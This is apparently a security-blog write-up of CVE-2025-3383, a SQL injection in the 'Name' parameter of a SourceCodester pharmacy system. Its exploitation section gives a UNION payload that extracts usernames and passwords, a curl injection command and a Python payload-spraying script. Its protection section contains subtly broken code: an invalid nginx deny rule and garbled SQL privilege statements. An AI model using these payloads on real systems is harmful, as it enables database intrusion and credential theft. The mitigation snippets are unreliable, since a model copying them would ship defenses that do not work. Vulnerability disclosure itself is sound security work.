SourceCodester Web-based Pharmacy Product Management System 10, SQL Injection, CVE-2025-3383 (Critical)

How CVE-2025-3383 Works

The vulnerability exists in `/search/search_sales.php` due to improper sanitization of the `Name` parameter. Attackers can inject malicious SQL queries through this parameter, exploiting the lack of input validation. The system directly concatenates user-supplied input into SQL statements, enabling unauthorized database access. Remote attackers can exfiltrate sensitive data, modify records, or execute administrative operations. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) confirms network-based exploitation with low attack complexity, requiring no privileges or user interaction.

DailyCVE Form

Platform: SourceCodester
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/09/2025

What Undercode Say:

Exploitation

1. Payload Example:

' UNION SELECT username, password FROM users-- -

2. Exploit Command:

curl -X GET "http://target.com/search/search_sales.php?Name=' OR 1=1-- -"

3. Automated Testing:

import requests
payloads = ["' OR 1=1-- -", "' UNION SELECT 1,2,3-- -"]
for payload in payloads:
r = requests.get(f"http://target.com/search/search_sales.php?Name={payload}")
if "error" not in r.text:
print(f"Vulnerable to: {payload}")

Protection

1. Patch: Apply input validation and parameterized queries.

2. WAF Rules:

location /search/ {
deny '|union|select|from|where|--';
}

3. Database Hardening:

REVOKE ALL PRIVILEGES ON . FROM 'app_user'@'%';
GRANT SELECT ONLY ON pharmacy_db. TO 'app_user'@'%';

4. Log Monitoring:

grep -E "union|select|--" /var/log/apache2/access.log

Analytics

  • Attack Vector: HTTP GET requests.
  • Critical Tables: users, transactions.
  • Detection: Abnormal query patterns in logs.

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-3383
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top